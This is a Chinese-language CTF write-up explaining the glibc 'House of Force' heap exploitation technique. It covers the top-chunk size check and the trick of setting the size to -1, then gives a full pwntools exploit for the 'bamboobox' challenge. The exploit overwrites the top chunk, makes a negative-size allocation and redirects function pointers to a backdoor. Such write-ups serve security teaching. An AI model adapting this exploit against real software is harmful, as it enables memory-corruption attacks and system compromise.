House of Force
2022-03-31 19:24:38

House of Force

利用前提:

能以溢出的方式控制到top chunk的size域

能自由地控制堆分配尺寸的大小

漏洞原理:

1、top chunk的分割机制:

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}
//分割流程:
//在top chunk的head处,以用户申请的chunk大小为偏移量,将top chunk的位置推到新的位置==》原来的topchunk head处作为新的堆块分配给用户

===》如果能控制top chunk在这个偏移中偏移到任意位置==》

top chunk的szie修改为很大的值,用户就可以申请一个任意大小的chunk,达到控制内存的目的

===》

利用方式:

(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)

将size修改为-1==》在进行比较时会把size转换为无符号数==》

-1是unsigned long中的最大数

==》接下来用户进行申请堆块:

注意点:

始终确保top_chunk的size减去申请的size要大于MINSIZE

可以申请负数大小的堆块抬高top_chunk(申请到低地址)(注意边界对齐)

可以申请正数大小的堆块降低top_chunk(申请到高地址)

例题:

hitcontraining_bamboobox

检查保护

静态分析

主函数:

1、show函数:

2、add函数:

3、change函数:

4、delete:

后门函数:

思路:

在change函数中出现任意长度的溢出==》

溢出至top chunk修改size为-1==》

向上申请(向低地址)至覆盖第一个chunk==》

第一个chunk中为一个0x20大小的堆块,其中存放着两个函数指针==》

将这个chunk申请出来,覆盖其函数指针为magci后门函数==》获得flag

exp:

#coding=UTF-8
from pwn import *

io=process('./bamboobox')
elf=ELF('./bamboobox')

def show():
	io.recvuntil("Your choice:")
	io.sendline('1')

def add(size,content):
	io.recvuntil("Your choice:")
	io.sendline('2')
	io.recvuntil("Please enter the length of item name:")
	io.sendline(str(size))
	io.recvuntil("Please enter the name of item:")
	io.send(content)

def change(index,size,content):
	io.recvuntil("Your choice:")
	io.sendline('3')
	io.recvuntil("Please enter the index of item:")
	io.sendline(str(index))
	io.recvuntil("Please enter the length of item name:")
	io.sendline(str(size))
	io.recvuntil("Please enter the new name of the item:")
	io.send(content)

def free(index):
	io.recvuntil("Your choice:")
	io.sendline('4')
	io.recvuntil("Please enter the index of item:")
	io.sendline(str(index))
	
add(0x10,'aaaa')

change(0,0x30,'a'*0x28+p64(0xffffffffffffffff))
#gdb.attach(io)
base=-(0x40+0x20)
add(base,'aaaa')
#gdb.attach(io)
back=0x400D49

add(0x10,p64(back)*2)
io.recvuntil("Your choice:")
io.sendline('5')
#gdb.attach(io)
io.interactive()